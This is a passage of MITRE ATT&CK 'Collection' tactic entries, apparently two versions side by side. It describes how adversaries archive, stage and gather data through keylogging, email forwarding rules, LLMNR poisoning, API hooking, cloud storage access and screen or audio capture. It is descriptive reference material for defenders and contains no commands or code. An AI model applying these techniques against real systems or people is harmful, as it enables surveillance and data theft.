Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, xcopy on Windows can copy files and directories with a variety of options.\n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)\nT1560 | Archive Collected Data | An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.\nT1114.003 | Email Forwarding Rule | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\nT1114.002 | Remote Email Collection | Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.\nT1114.001 | Local Email Collection | Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)\nT1213.002 | Sharepoint | Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nT1213.001 | Confluence | \nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nT1557.001 | LLMNR/NBT-NS Poisoning and SMB Relay | By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)\nT1557 | Adversary-in-the-Middle | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\nT1056.004 | Credential API Hooking | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nT1056.003 | Web Portal Capture | Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)\nT1056.002 | GUI Input Capture | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) \nT1056.001 | Keylogging | Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) \nT1530 | Data from Cloud Storage | Adversaries may access data from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. \n\nIn other cases, SaaS application providers such as Slack, Confluence, and Salesforce also provide cloud storage solutions as a peripheral use case of their platform. These cloud objects can be extracted directly from their associated application.(Citation: EA Hacked via Slack - June 2021)(Citation: SecureWorld - How Secure Is Your Slack Channel - Dec 2021)(Citation: HackerNews - 3 SaaS App Cyber Attacks - April 2022)(Citation: Dark Clouds_Usenix_Mulazzani_08_2011)\n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.\nT1213 | Data from Information Repositories | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.\nT1185 | Browser Session Hijacking | Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)\nT1125 | Video Capture | An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)\nT1123 | Audio Capture | An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\nT1119 | Automated Collection | Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.\nT1115 | Clipboard Data | Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)\nT1114 | Email Collection | Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. \nT1113 | Screen Capture | Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n\nT1074 | Data Staged | Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.\nT1056 | Input Capture | Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).\nT1039 | Data from Network Shared Drive | Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.\nT1025 | Data from Removable Media | Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.\nT1005 | Data from Local System | Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n" + "source": "# Collection\nThe adversary is trying to gather data of interest to their goal.\n\nCollection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1560.001 | Archive via Utility | Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. \n\nOn Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)\nT1113 | Screen Capture | Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n\nT1557 | Adversary-in-the-Middle | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\nT1056.001 | Keylogging | Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) \nT1602 | Data from Configuration Repository | Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)\nT1213.002 | Sharepoint | Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nT1123 | Audio Capture | An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\nT1560.003 | Archive via Custom Method | An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)\nT1114 | Email Collection | Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. \nT1025 | Data from Removable Media | Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.\nT1074.001 | Local Data Staging | Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)\nT1114.001 | Local Email Collection | Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)\nT1119 | Automated Collection | Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.\nT1115 | Clipboard Data | Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)\nT1530 | Data from Cloud Storage | Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.\nT1074.002 | Remote Data Staging | Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.\nT1005 | Data from Local System | Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n\nT1560.002 | Archive via Library | An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.\nT1602.002 | Network Device Configuration Dump | Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that 